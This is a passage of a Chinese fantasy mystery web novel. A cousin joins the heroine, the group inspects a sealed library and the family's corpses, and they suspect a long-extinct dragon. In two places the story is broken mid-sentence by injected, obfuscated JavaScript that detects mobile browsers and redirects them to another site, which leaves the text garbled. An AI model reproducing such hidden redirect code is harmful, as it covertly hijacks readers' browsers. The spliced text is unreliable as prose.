晴朝看着手中的芙蓉饼忍不住眉开眼笑,“你放心,有唐亦景在,咱们谁都饿不死的。” 唐亦景没想到晴朝最后还是将主意打在了自己身上,他并不反驳,只是看着晴朝笑了笑。 三人说着话很快便回到了朱府。 朱家自从出事之后便一直无人敢靠近,本来住在附近的邻居也在几日之内陆续搬走,因此即便是朱妙仪也没在朱家附近见过什么人敢路过。 但今天,她却看见一个男子坐在朱家门外的台阶上。他身上穿着一身湖蓝色的缺胯衫袍,手里抱着一柄宝剑,此时正脑袋一顿一顿地打着瞌睡。 “这从哪来的毛头小子……” 晴朝话音未落,毛头小子忽然醒了过来。他略有些茫然地抬起头,却在看清他们三人后立刻站起身来。 “妙仪!” “妙仪?”晴朝扭头看向朱妙仪,却见对方愣了愣,接着露出一个难以置信的表情。 “表哥?” 颜琅几乎是冲到了朱妙仪跟前,上上下下仔细打量过对方,确认朱妙仪没有受伤后,一把拉住了朱妙仪的手。 “妙仪,是我对不起你,我就不该让你一个人回来的。这几日你吓坏了吧?” 朱妙仪还处于震惊的状态中没有缓过神,反倒是晴朝忽然伸过脑袋来,用身体分开了二人。 “你就是妙仪在京城的那个表哥?”晴朝挑起一边眉毛,上下审视着眼前的男人。“也就是说,你就是妙仪的未婚夫?” 颜琅被晴朝的态度吓了一跳,但从刚才朱妙仪与这二人一同走过来便猜测他们三人熟识,立刻拱手行礼道:“在下颜琅,不知二位如何称呼?” 朱妙仪终于回过神来,赶紧介绍道:“这位是晴朝姐姐,这位是唐亦景唐大人,这两天多亏了他们二位照顾我。” 颜琅拱手说道:“多谢二位出手相助。” 唐亦景欠身回礼,“这是在下应该做的。” 晴朝捏着芙蓉饼笑着说道:“确实是他应该做的,因为只要涉及妖族的事情就都归他管。” 颜琅愣在原地。 在晴朝的笑声中,朱妙仪将自己前往无妖河请求唐亦景出手帮助自己找寻凶手的事情告诉了颜琅。 “表哥,朱家的案子并非是人所为,而我偏偏又没有捉妖的能力,所以我必须请亦景哥哥和雀儿姐姐前来才能够帮我找到凶手。” 颜琅点头,他早就知道朱家乃是捉妖世家,也清楚朱妙仪因为是女子无法继承朱家的衣钵,长久以来心中一直有些难过。 “多谢二位仗义相助。”颜琅抱拳,“若二位真的能够帮助妙仪找到凶手,颜某此生都不会忘记二位的大恩大德。” 晴朝摆摆手,“举手之劳,举手之劳。” 朱妙仪拉住颜琅,“对了表哥,你还没告诉我你怎么突然跑到无妖县来了,这究竟是怎么回事?” 7. 第 7 章 颜琅叹了一口气,“你刚离开京城不久我父亲便接到消息,说无妖县发生了一件需要上报朝廷的大案,也因此知道了朱家出事的消息。母亲担心你的安危,便要我立刻启程赶往无妖县,将你接回京城。” 朱妙仪笑了笑,“舅母总是惦记着我。” “当然,娘亲是最喜欢你的了。”颜琅看着朱妙仪的脸,忽然开口说道:“你瘦了。” 朱妙仪抬手摸了摸脸颊,这段时间她日夜想着如何能够早日抓到凶手,确实在饮食上不太规律,因此清减了一些也是意料之中。 “少吃几顿没什么。”朱妙仪笑着说道。 颜琅却很是心疼,“妙仪,跟我回京城吧。” 朱妙仪伸出手摸了摸颜琅的脸颊,“我跟你回京城做什么?无妖县才是我的家。” “我知道你要守孝,我愿意等你三年。”颜琅的表情很是郑重,“这三年你愿意住在我家也好,不愿意我们便在隔壁给你再买一栋宅子也罢,总之我是绝对不可能再把你一个人丢下了。” “我知道你没有丢下我,但我也不是一个人在这里啊。”朱妙仪说着话,扭过头看向站在一旁微笑着看着他们二人的唐亦景与晴朝。 “亦景哥哥,雀儿姐姐,让你们见笑了。”朱妙仪抿了抿嘴唇,“我表哥就是喜欢小题大做。” “没事没事,”晴朝又摸了一块芙蓉饼在手中,“你们说你们的,我们俩现在年纪大了,看你们年轻人说些情情爱爱的话还是挺开心的。” 朱妙仪转过头继续看着颜琅,“表哥,我知道你是为了我好,但我现在绝不可能跟着你回京城。我虽不会捉妖,但仍然是朱家的女儿,我一定要待在这里,直到捉住凶手为止。” 颜琅明白朱妙仪说这话并非是意气用事,也知道她是一个极有主见的人。 “好,既然现在你还没有办法回京城,那我就跟你一起守在无妖县。”颜琅看向唐亦景和晴朝,“我虽不会法术但自幼习武,应该还是有能够帮上忙的地方吧?” 唐亦景点头,“颜公子只要能够保护好妙仪,我们两个便放心了。” 四人一同走进了朱家。 回到堂屋,朱妙仪寻茶杯泡茶,颜琅虽然第一次来到朱家,但一直跟在朱妙仪身后忙前忙后。晴朝看着他们二人的互动,咬着芙蓉糕露出一个满意的笑容。 “唐大人恕我冒昧,请问您们现在探查案子到哪一步了?” 唐亦景摇了摇头,“目前我们还没有掌握到什么关键性的证据,对于凶手的身份也是一头雾水。” 晴朝也很无奈,“朱府的线索已经都被清理干净了,我们也没办法到县衙查看尸体,眼看着便要走进死胡同了。” “你们想验尸?”颜琅看向朱妙仪,“这件事说不定我能够帮上忙。” “你?”朱妙仪也很是诧异,“表哥,你在这人生地不熟的,怎么帮忙呀?” “我确实在这人生地不熟,但我能够帮你们找到在这说话算数的人。”颜琅从怀中摸出一张牓子,“无妖县属余姚郡管辖,而余姚郡郡守梅大人曾做过我父亲的门生。这次我来无妖县,我爹特意给了我这张牓子作为身份证明,嘱咐我若有什么事可去找梅大人帮忙。” 听了颜琅的话,晴朝又惊又喜,立刻看向唐亦景,“太好了,这样就不用我出手了。” 唐亦景其实本来就没打算要晴朝出手,但颜琅的到来确实为他们解决了一件棘手的问题。 “多谢颜兄出手相助。” “哪里,唐大人客气了。”颜琅将牓子收好,“事不宜迟,我这就去余姚郡郡衙说明情况。” 待颜琅如同一阵旋风般跑了出去,三人也没有在堂屋中继续停留,而是去了朱妙仪祖父居住的卧云居。 三人再次站到了玉衡阁门前。 那道奇怪的爪印就在玉衡阁门口的柱子上,而这道爪痕也是他们现在所掌握为数不多的线索之一。唐亦景左思右想,最终还是觉得他们应该到玉衡阁内看一看。 朱家家规规定,只有能够修炼捉妖法术的朱家人才能够进出玉衡阁,因此平日里玉衡阁的门上总是挂着一把黄铜所做的大锁。 “原先我是知道我祖父将钥匙存放在何处的,但不知怎么回事,这次我一回来便发现那钥匙竟然换位置了。”朱妙仪无奈地摆弄了一下那把锁,“我前段时间就想进玉衡阁看一看,但直到现在都没有找到那把钥匙。” 唐亦景看了看那把锁,接着自觉让开位置,将目光投到了晴朝身上。 朱妙仪有些疑惑,但还是跟着唐亦景看向晴朝。 晴朝露出一个自信的笑容,伸长胳膊示意他们二人退后。 “来来来,给开锁匠让个位置。” 说完,晴朝伸出右手食指。只见她对着食指轻轻吹了一口气,那手指便瞬间变成了一根长长的翎羽。 晴朝将翎羽伸进锁眼,耳朵也趴在锁头上仔细听着,俨然一副手艺娴熟的模样。在听到锁眼内发出几声齿轮转动的声音后,大锁“啪嗒”一声开了。 朱妙仪忍不住感慨道:“雀儿姐姐,你好厉害啊!” 晴朝摆了摆手,颇得意地说道:“小事一桩。” 唐亦景走到门前,右手轻轻一推,打开了玉衡阁的大门。 刚打开门便闻到那股熟悉的潮湿味道,朱妙仪抬头看去,玉衡阁内一排排书架摆设一如往常,只是书架之间的蛛网痕迹证实此地确实很久没有人踏入过了。 玉衡阁内很是干燥,伴随着三人走过,一阵阵灰尘被脚步带出的风卷起,呛得朱妙仪连连咳嗽。唐亦景回身瞥了一眼,快步走到一旁窗户边,打算将窗户打开。 但手推了一下,窗户纹丝未动。 唐亦景本以为这窗户被上了锁,但初步检查后却未发现任何插销。朱妙仪此时已经缓了过来,一边抚着胸脯顺气一边说道:“亦景哥哥,那窗户开不了,你不用看了。” 唐亦景转过身。 朱妙仪用手指在空中划了一道线,“这整个玉衡阁所有的窗户都已经被封死了。” 晴朝此时也只能用衣袖捂住口鼻,听了这话很是疑惑,皱眉说道:“这真是奇怪,我只知道书房不能留灯是为着防止走水,可不能开窗又是什么道理呢?” 唐亦景摇头,表示自己也没有听说过这个说法。 朱妙仪走出玉衡阁,没一会又走了回来,只是手里多了三块手帕。 把那两块手帕递给唐亦景和晴朝后,朱妙仪熟练地将手帕围在了自己的口鼻处,“朱家在无妖县也算是富户,平日里难免会被不知天高地厚的小毛贼惦记。这玉衡阁内有许多珍贵古籍,对于那些毛贼来说一文不值,但对于朱家来说却极为重要,所以朱家家规便规定玉衡阁内所有窗户一律钉死,绝对不能留下隐患。” 朱家的藏书必然大部分都与妖族有关,这些古籍在人界确实很是稀罕。但若是被寻常百姓捡去,恐怕只会被当做一本志怪小说来看,那着实有些得不偿失了。 唐亦景点头,将手帕也学着朱妙仪的样子围在脸颊上。 玉衡阁内部瞧上去与大部分藏书阁无异,除了地上摆着几条案几外便是一排排摆放整齐的书架。唐亦景随手抽下一本书,果然是记录妖界历史的古籍。书籍封面上已经存了薄薄一层灰尘,唐亦景皱了皱眉,将书又放回了原处。 朱妙仪也在翻看书架上的书籍,这些书中的绝大部分对她来说都很是熟悉,然而现在看到这些书都已是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241757|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘埃满布,再联想到朱家如今只留下自己一人,就如同这些古籍一般破败不堪,朱妙仪心中便一阵唏嘘。 “亦景哥哥,这玉衡阁内积尘遍地,想来已是许久未有人进入,想必与这次朱家出事应当没什么关系吧?” 唐亦景沉吟片刻,按照目前看到的表象来看朱妙仪的话确实有理,起码在朱家出事当日这里应当没有人进出过。 “这里的书你看过多少?” 朱妙仪一愣,实话实说道:“基本都看过了。” “那就好,因为这件事只有你一个人能做。”唐亦景指了指书架上的书籍,“我需要你将玉衡阁内的所有书籍都检查一遍,确定有无遗失的情况。” 朱妙仪点头,“亦景哥哥放心吧,我一定尽快将这件事办好。” “不必着急,这几日唐亦景想必还有别的事情要做呢。”晴朝从刚才开始便一直站在门口,看着唐亦景和朱妙仪在玉衡阁内四处观察,自己却一动不动。 朱妙仪走到晴朝跟前,笑着问道:“怎么了雀儿姐姐,是不是这里灰尘太多呛到你了?” 晴朝摇摇头,“大约是我这两日吃多了,从刚才开始便有些不舒服。” 唐亦景急忙走了过来,抬手搭上晴朝的手腕。“你怎么了?具体是哪里不舒服?” 晴朝将手腕抽走,装作不在意地回答道:“不过是些陈年旧疾,休息一会便好了,你不要大惊小怪。” 唐亦景却有些不肯善罢甘休,执意要给晴朝切脉。而晴朝也很是坚持,一直捂着手腕不肯松手。 最后还是朱妙仪挡在了二人中间,主动提出赶紧带着晴朝去房内休息。 朱妙仪的梧桐馆与卧云居只有一墙之隔,也是朱家现在少数没有沾染过血腥的院落,所以朱妙仪将唐亦景、晴朝和颜琅都安置在了此处。 “现在朱家没有下人,这院落都是我一个人打扫的,若是有不干净的地方还请见谅。不过你们放心,这床铺都是我刚铺好的。”朱妙仪扶着晴朝进了屋子,一走到床边,晴朝便如同脱力般倒了下去。 瞧着晴朝躺在床上虚弱的样子,又看了看一旁唐亦景满脸担忧的神情,朱妙仪最终选择以点香为由赶紧逃离了那间屋子。 这时候晴朝已经没有了挣扎的气力,只能任由唐亦景走过来为她搭脉,接着将一股股真气顺着脉络传入她体内。 “真的只是宿疾复发,你不要放在心上。” 晴朝的额头上已经攒了一层薄汗,皮肤瞧着比平日又苍白了几分。唐亦景轻轻叹气,将她脚边的薄被展开,替晴朝盖好。“我可以不放在心上,但你自己要记得爱惜身体。” 晴朝虚弱地笑了笑。 唐亦景这才意识到自己刚才情急之下直接坐到了晴朝的床榻上,赶紧站了起来。不过晴朝已经开始闭目养神,因此并未发现这一幕。 朱妙仪听着里头没有动静后才敢走进来,她手上端着一个香炉,内里已经燃上了安神香。 “亦景哥哥,朱家还存着些草药,我想其中大约也会有能够帮到雀儿姐姐的草药吧?” 唐亦景摇摇头,俯身看了看晴朝后,与朱妙仪一同走了出来。 “你放心吧,我刚才检查过了,确实是陈年旧疾,想必是因为当年受伤过重所致。”唐亦景柔声说道:“多谢你的好意,不过我瞧着她应当养一养就好了。” 朱妙仪长舒一口气,晴朝本就是为了帮她才离开员峤山的,若是再因为她惹得沉疴复发,朱妙仪就真的是百死莫赎了。 “既然如此我就不打扰雀儿姐姐休息了,玉衡阁还等着我去打扫。”朱妙仪叉手行礼,“雀儿姐姐便劳烦亦景哥哥照顾了。” 唐亦景点头,看着朱妙仪转身离开。 8. 第 8 章 无妖县距离余姚郡郡衙所处的余姚县有些距离,纵使颜琅纵马疾驰,也耗费了半日有余,直到当日傍晚才赶回来。颜琅从余姚郡郡守手中得到了许可文书,他们决定明日一早便赶去无妖县县衙查看尸体。 入夜,朱妙仪从晴朝房间中走出。晴朝几乎是昏睡了一日,现在瞧上去终于算是恢复了些元气。朱妙仪不敢让晴朝再吃东西,只是又在晴朝房内燃了些安神香,嘱咐晴朝早些休息。 刚走出房间,朱妙仪便看见颜琅在院中回廊下站着,眼睛盯着漆黑的夜空,不知道在看些什么。 “表哥在看什么?”朱妙仪主动走到颜琅身边,与颜琅并肩而立。顺着颜琅的视线看过去,朱妙仪看见了满天星斗和一轮弯弯的明月。 “哦——我知道了。”朱妙仪想逗一逗颜琅,因此故意做出恍然大悟的样子,开口询问道:“表哥是不是想家了?” 颜琅知道朱妙仪是故意这样说,便用肩膀撞了一下朱妙仪,嘴上辩解着:“我哪有这么脆弱?” 朱妙仪抿嘴一笑。 颜琅转过身,朱妙仪也转身与颜琅面对面站着。月光皎洁,洒在两张还稍显稚嫩的脸庞上。二人的眼睛都是亮晶晶的,即便没有光源照亮,也能够倒影出彼此的样子。 半晌,朱妙仪先伸出手,握住了颜琅的手掌。 “我真的没想到你会到无妖县来,”朱妙仪笑着低下头,接着又抬眸看向颜琅,“表哥,谢谢你。” 颜琅的眼睛笑起来弯弯的,就像此时天上的明月一般。他还有些不习惯朱妙仪突如其来的郑重,扭捏着答道:“谢我做什么,这是我应该做的。” “我当然要谢你,因为你来了,我就不再是孤身一人了。” 前些天朱妙仪一个人居住在此的时候,白日里还好,但每到夜晚便总是忍不住回想起从前这个院落热闹的样子。 朱妙仪小时候曾因为着急跑着去见祖父而在这院中跌过跤,从那之后祖父便要求下人们在梧桐馆点起最多的灯笼,俨然一副要将梧桐馆黑夜照亮如白昼的架势。 原先每到了傍晚,朱妙仪便会坐在回廊下看着下人们将院中一个个灯笼点燃,一盏盏小小的灯笼如同天上的星星般,逐渐照亮了梧桐馆,也让朱妙仪的心变得慢慢明亮起来。 这次回来后朱妙仪便发现,其实这院中只需要两盏灯笼她便不会摔倒。只是蓦然回首,却发觉再也没有人站在院门口等着她奔跑过去了。 听了朱妙仪的话,颜琅心疼不已。他知道朱妙仪总是会在外面表现出一副坚强的样子,仿佛这些事情都不会真正伤害到她。但实则她只是喜欢将所有痛苦默默藏在心里,等到四下无人的时候再独自一人疗伤。 看着朱妙仪因为消瘦而变得尖尖的下颌,颜琅缓缓呼出一口气。 他从未有如此感谢自己能够出现在无妖县的时刻。 “你放心吧妙仪,只要有我在,你就永远不会是孤身一人。”颜琅用力捏了捏朱妙仪的手,“我会永远陪着你,永远站在你的身边。” 朱妙仪抬头看着眼前这个让她一见倾心的少年郎,只觉得胸膛中又充满了勇气。 二人牵着手在院子中走了走。 “妙仪,我站在这里是为了等你的,有件事我一直想问问你。” “表哥,你说。” “如果你相信我的话,明天你就让我代你去县衙吧。” 朱妙仪停下脚步,“代我去?为什么呢?” 颜琅似乎在斟酌着自己的用词,“我只是有些担心你,毕竟我们明天要看的是你家人的……遗体。” 朱妙仪明白过来颜琅的担忧,却只是摇了摇头。 “表哥,前些日子你们都不在的时候,是我一个人去县衙里认的尸首。他们现在是什么样子,其实我早已经见过了。” “但是这段时间无妖县暑气未消,纵然县衙内有冰块降温,想必也不会有太大用处。”颜琅皱着眉头看向朱妙仪,“妙仪,你的家人现在……可能已经不再是你曾认识的样子了。” 朱妙仪忽然抬手捂住了自己的胸口,手指紧紧地攥住了胸前的衣服。 颜琅一惊,暗自后悔自己不该将话说得如此直白。手上赶紧扶住朱妙仪,让朱妙仪到回廊下坐着休息。 缓了几个呼吸,朱妙仪才重新能够说出话来。 “我没事,我能行。”她的声音很轻,但还是在一遍遍重复中让颜琅听清了所说的内容。 颜琅看着朱妙仪脸色惨白却还是不肯松口的样子,不敢再继续谈论刚才的话题。只是在原地陪朱妙仪缓和过来后,站在院内目送朱妙仪回房间休息了。 第二日,一行四人来到了无妖县县衙。 无妖县县令是一个姓高的中年男子,原先曾做过无妖县县县尉,也算是有几分真本事。只是伴随着年纪渐长,眼镜忽然变得昏花,虽说戴了副眼镜,却还是有些看不清楚。 晴朝看着高县令几乎要趴在那张文书上才能够辨认字迹的样子,悄悄对唐亦景说道:“就凭他,真的能够找到杀害朱家满门的凶手吗?” 唐亦景瞥了晴朝一眼,制止住了晴朝的话。 确认文书无误,高县令颇为痛快地吩咐幕宾带他们四人去了停尸房。只是这位幕宾本就不负责断案,一听到他们要看朱家人的尸体,更是不愿意靠近停尸房半步,因此将他们带到停尸房门口后便立刻离开了。 走进停尸房前,颜琅再次看了朱妙仪一眼,但对方的表情很是坚定,他也就没有再说话。 停尸房面积不大,朱家此案涉及十三具尸体,因此摆放得稍显拥挤。唐亦景没办法,只能一个个掀开白布看过去,终于寻找到了朱妙仪祖父、父亲、兄长的尸首。 在发现朱妙仪祖父的尸首时,朱妙仪忍不住走过去看了一眼。但只是一眼,泪水便夺眶而出。 颜琅刚准备冲上去,却见站在朱妙仪身旁的晴朝已经先一步将朱妙仪搂在了怀里。 “不要难过,他们现在已经去了更好的地方,在那里他们永远也不会有痛苦了。” 朱妙仪轻轻点头,可泪珠却还是如同断了线的珠子般落下来。她用手捂住嘴巴,身体不住地发出一阵阵战栗。 过了一会,朱妙仪的身体渐渐平静下来,晴朝拍了拍朱妙仪的后背,看着她站直身子。 “我就在门口站着,有什么事你们都可以问我。”朱妙仪的眼角还挂着泪珠,但语气已经很是冷静,“我曾经来认过尸,还记得他们说过一些伤痕的特征。” 颜琅伸出手扶住了朱妙仪,“来,我陪着你。” 晴朝对着颜琅点了点头,将朱妙仪交给了对方。 “有什么发现吗?” “那几具尸体我都检查过了,确实如同高县令所说都是一击毙命。”唐亦景让开一点空间,好让晴朝站到自己身边来。“但妙仪祖父、父亲和她兄长的尸体确实有些古怪。” 晴朝走上前,怪不得朱妙仪会在见到尸体第一眼后便泣不成声。由于无妖县气候温暖,尸体存放时间较长,即便有冰块也已经开始腐坏,散发出一阵阵恶臭。朱妙仪乍一看到自己的亲人变成现在这副模样,怎么能不伤心难过呢? “好在尚能够辨认出伤痕。”晴朝仔细看了看朱妙仪祖父身上的伤口,眉头也渐渐皱了起来。“致命伤应当在喉咙,这一处伤口很深,几乎将脖子斩断。但他身上还有多处伤痕,因此不排除生前与凶手有过搏斗。” 唐亦景点点头,“他父亲的尸首也有同样的特点。” “可问题是……”晴朝看向唐亦景,“是我看错了吗?我怎么瞧着他身上的伤痕不是同一种凶器所伤呢?” 唐亦景走过来,“我也发现了这件事。” 他指了指朱妙仪祖父尸首的脖颈处,又指了指胳膊。 “脖颈处的伤痕是划伤,若是妖族所为,大概率是利爪所伤。” 晴朝接着说道:“但胳膊那一处怎么看都像是獠牙咬伤,再不济也得是尖角刺伤的痕迹,绝不可能是抓痕。” 唐亦景又带着晴朝看了朱妙仪父亲的尸体,在他的小腿处赫然有一个完整的齿痕。 “既有尖角,又有獠牙,还有利爪?”晴朝摸着下巴思考了半天,“我怎么不记得妖界有长成这样的妖怪啊?” 唐亦景没说话,只是掀开了朱妙仪兄长尸体上的白布。 “她兄长头上有两处伤痕,额头那处看起来是致命伤。” 晴朝点头,“这一下伤得很重,头骨都破裂了。而后脑那一处并不严重,只是外伤。” 再确认过尸体情况后,二人重新为尸体盖上白布,走到了朱妙仪与颜琅身边。 “咱们走吧。” 朱妙仪的脸色还是很难看,但仍然坚持说道:“你们检查好了吗?如果没有的话不必在意我,我没事的。” 晴朝伸手拍了一下朱妙仪的脑门,“傻孩子,当然是真的检查好了。这里摆放的冰块太多了,我好冷,咱们快走吧。” 朱妙仪这才放心的和他们一起离开了停尸房。 告别高县令后,他们四人又回到了朱府。 朱妙仪的脸色仍然很难看,但她顾不上自己的身体,急忙询问道:“亦景哥哥、雀儿姐姐,你们找到什么线索了吗?” 晴朝不愿意向朱妙仪隐瞒,将她与唐亦景的验尸结果和盘托出,同时也说出了他们两人同时认定的疑点。 唐亦景接着说道:“长成这样的妖兽着实罕见,妙仪,你容我和晴朝再好好想一想。” “同时生有尖角獠牙利爪……”朱妙仪沉吟道,“怪不得这妖兽能够轻而易举取走我全家人的性命。” 晴朝看着朱妙仪勉强支撑才能坐住的样子,还是有些担心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241758|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妙仪,你现在感觉怎么样?要不然我扶你回房间休息一会吧?” 朱妙仪见自己在这里也帮不上什么忙,太阳穴处又确实涨得厉害,只得点了点头。 晴朝刚准备搀扶着朱妙仪起身,去见对方忽然睁大眼睛看向自己,俨然一副激动的模样。 “雀儿姐姐,我想起来了,我想起来曾在古书中看到过一种同时生有尖角獠牙利爪的妖兽。” 晴朝一愣。 朱妙仪转过身,迫不及待地对唐亦景说道:“亦景哥哥,龙不就是同时生有尖角獠牙和利爪的妖兽吗?” 此言一出,屋内忽然就安静了下来。唐亦景与晴朝对视良久,却谁都没有说话。 颜琅也发觉了气氛的变化,他下意识地站起身,走到了朱妙仪的身旁。 “妙仪。” 最终还是晴朝开了口。 “现在不论是人界还是妖界,都已经没有龙了。” 朱妙仪诧异地看着晴朝,“怎么会?可我明明还在古书上看到……” “龙族天生亲近人族、不喜妖族,因此几千年前几乎所有龙族都生活在人界。由于龙族现世的时候往往伴随倾盆大雨,所以人族便将龙族供奉为了司雨的神。” 唐亦景的眸子暗了暗。 “但后来人族逐渐发现龙族与大雨的同时出现只是出于巧合,龙本身是没有司雨的能力的。因此人族便恼羞成怒,对当时居住在人界的龙族展开了一场屠杀。” 朱妙仪的手默默攥紧了衣袖,喃喃自语道:“怎么会这样……” 晴朝轻轻叹了口气,“那场屠杀过后,侥幸存活下来的龙族都选择了销声匿迹。他们再也未在人界出现过,却也没有返回妖界。” “因此也有人猜测,龙族实则已经灭绝了。” 朱妙仪突然剧烈地咳嗽起来,她一手捂着嘴一手扶着桌子,咳得腰都直不起来。 晴朝没有迟疑,迅速顺着朱妙仪的脉络输入了部分真气。朱妙仪不再咳嗽,但却是双膝一软差点倒在地上。 颜琅一把抱起了朱妙仪。 “妙仪恐怕是悲伤过度,我这就送她回房间休息。” 说罢,抱着朱妙仪走出了堂屋。 晴朝看着颜琅和朱妙仪离开的背影,心里只觉得五味杂陈。 “可怜的孩子,老天怎么能对她这么无情,好不容易得来的一丝线索竟也断了。” 唐亦景走到晴朝身边。 “纵使我们现在还不知道这妖兽究竟是什么,但至少知道了它绝非等闲之辈。这样的大妖问世,人妖两界必然是会有所异动的。” 晴朝点头,“虽然很不想承认,但我们现在唯一能做的也许就是等待了。” “等妙仪的身体好些能够将玉衡阁的藏书整理好,也许我们还能得到新的线索。” 一想到朱妙仪那稚嫩的肩膀上承担着怎样沉重的责任,晴朝便觉得心疼不已。 “这孩子天天如此操劳,若是晚上再睡不好觉,只怕身体会每况愈下啊。” 唐亦景看了晴朝一眼,“你也别说旁人了,我昨日刚嘱咐过你要顾惜自己的身体,今天你又用了自己的真气。” 晴朝这才想起来刚才自己做了什么,心虚地摸了摸自己的鼻子。 “我也是动手太快了,自己都没意识到在做什么真气就已经输完了。”说着话,晴朝一只手拉住唐亦景的衣袖,“反正那真气归根到底也是你的,你再给我一点不就完了。” “你!”唐亦景瞪了晴朝一眼,最终却还是伸出手捏住晴朝的胳膊,给晴朝传输了一些真气。 “记好了,千万不能再莽撞行事了。” 晴朝连忙乖巧地点点头。 朱妙仪在房间中昏睡到了下午,唐亦景为睡梦中的朱妙仪把过脉,对站在一旁的晴朝和颜琅说道:“你们放心吧,她的脉象已经平稳下来了,接下来要做的就是好好休息。” 颜琅终于将一颗心落回了肚子里。只是不知是不是这颗心落回原位的缘故,他的肚子突然叫了一声。 晴朝这才想起来,“我都差点忘了你们还是要吃饭的。” 颜琅有些不好意思,伸手挠了挠头发,“没关系,你们不必管我,我去街上随便买两个包子填填肚子便是了。” 唐亦景摇摇头,“以后的日子还长着呢,若天天这样将就必然对身体不好。更何况等一会妙仪醒过来,最好也是要喝一些米粥的。” 颜琅的神情立刻郑重起来,“那我这就出去买。” “等等!”晴朝唤住了颜琅。“颜公子,还是你在此处照顾妙仪吧,买饭的时候交给我和唐亦景就好了。” 唐亦景只需要看一眼晴朝,便明白了对方的意图。 “你想去浔阳楼?” 晴朝眨了一下眼睛,笑得一脸天真无邪,“你说对了。” 9. 第 9 章 二人来到浔阳楼说明了来历,瑾娘一听说是朱妙仪病倒了,赶紧让后厨去准备热粥和小菜。晴朝凑过去,厚着脸皮讨到了一坛无忧酿。 唐亦景斜睨晴朝一眼,无奈地问道:“你这坛无忧酿也是为妙仪准备的?” “当然是了,万一妙仪晚上忧虑过重睡不好觉怎么办?我这是先替她准备着。”说着,晴朝凑到坛口嗅了嗅,发出了一声满足的慨叹。 “得了吧,我看还没等到妙仪需要的时候你就已经先喝光了。”唐亦景摇了摇头。 晴朝眯起眼睛。对着唐亦景得逞般一笑。 后厨准备餐食需要一点时间,等待的时候唐亦景和晴朝便坐在大堂中的长凳上。尚不到饭点,浔阳楼大堂中一个客人都没有,很是安静。 正在这时,瑾娘突然走了过来。 “大人,昨日我算账的时候发现了一件怪事。”说着,瑾娘将两枚铜板拿了出来,并排摆在桌上。“大人请看。” 唐亦景和晴朝把脑袋凑过去,瞧了半天才发觉出端倪。 晴朝看向唐亦景,“这两枚铜板上面刻的字怎么不一样呢?” “天佑是前朝的年号。”唐亦景抬眸看着瑾娘,“这枚铜板你是从哪里得到的?” “就是那个订了酒席让我送到朱家的黑衣人,这枚铜板就混在他给我的钱袋之中。” 唐亦景将那枚前朝的铜币捏在手中,经过仔细观察,他发觉这枚铜板保存很是完好,并没有生锈的痕迹。 “应当不是从墓里挖出来的陪葬品。”唐亦景将铜板递给晴朝,“当朝建立已过百年,这么看凶手少说已经在人界游荡了百年之久。” 晴朝见那枚铜板边缘十分光滑,这是被反复摩挲过的痕迹。 “瑾娘,你在此地生活的时间久,你有没有在无妖县见过龙的踪迹啊?” “龙?”瑾娘一脸错愕,“龙族不是在千年之前便绝迹了吗?无妖县怎么会有?” 虽说得到的是意料之中的答案,但唐亦景和晴朝还是不约而同地叹了口气。 瑾娘见他们二人是这样的反应,不禁询问道:“怎么,你们竟查出这案子是龙族所做?” 唐亦景摇了摇头,“只是猜测罢了,我们也知道这个想法几乎是异想天开。” “虽说朱家是捉妖世家,确实有可能参与过千年前的那场屠杀,但是龙族确实已经在人妖两界绝迹许久了。” 瑾娘抬起头,正好看见阿顺提着餐盒走了过来。她立刻噤了声,顺便将桌上的两枚铜板收了起来。 “掌柜的,餐食已经准备好了。” “好,那你就帮二位贵客把餐食送到……” “不必不必。”晴朝打断了瑾娘的话,“让唐亦景拿着便是了,何必这么客气。” 瑾娘瞧了唐亦景一眼,忍着笑让阿顺将餐盒递给了唐亦景。 “唐大人、晴朝姑娘,方才你们提到的事情我会继续留意的。若是发现线索,我会立即派人前往朱府通知你们。” 唐亦景一手提着餐盒一手端着拂尘多有不便,因此只能对着瑾娘点了点头。 “多谢你了。” “唐大人客气。”瑾娘不再留二人说话,“你们慢走。” 回去路上,晴朝果然已经将那坛无忧酿打开了,一阵馥郁的酒香立即弥漫开来。唐亦景扭头看向晴朝,正好看到她端起酒坛子豪饮一口。 “这酒你都喝了两千年了,怎么还没喝够啊?” “你才一出生就喝酒呢,”晴朝嗔怪一声,“再说这七百年间我朱雀一族一直在员峤山休养生息,我根本没机会喝到无忧酿。” 听了这话,唐亦景的眸子蓦地黯淡下来,转过头不再说话。 晴朝知道唐亦景在想什么,七百年那场劫难现在已然变成了横亘在他们二人只见的一道天堑。唐亦景自知理亏不敢轻易提及,而晴朝虽然反复提及,却并不打算就此原谅唐亦景。 因此每到这时候,唐亦景便会有缄默回避问题。 二人就这样别别扭扭地回到了朱府。 朱妙仪已经醒了过来,晴朝将颜琅赶去堂屋吃饭,自己坐在床榻旁边看朱妙仪小口小口地喝着粥。 “别总喝粥,也尝一尝这些小菜。”晴朝将几盘小菜往朱妙仪面前推了推,“这些都是瑾娘特意嘱咐浔阳楼的后厨准备的,肯定很是爽口。” “好。”朱妙仪乖巧应下,夹起一块酱黄瓜送入口中。 吃过饭,唐亦景又给朱妙仪搭了一次脉,确定朱妙仪的身体已经开始恢复了。 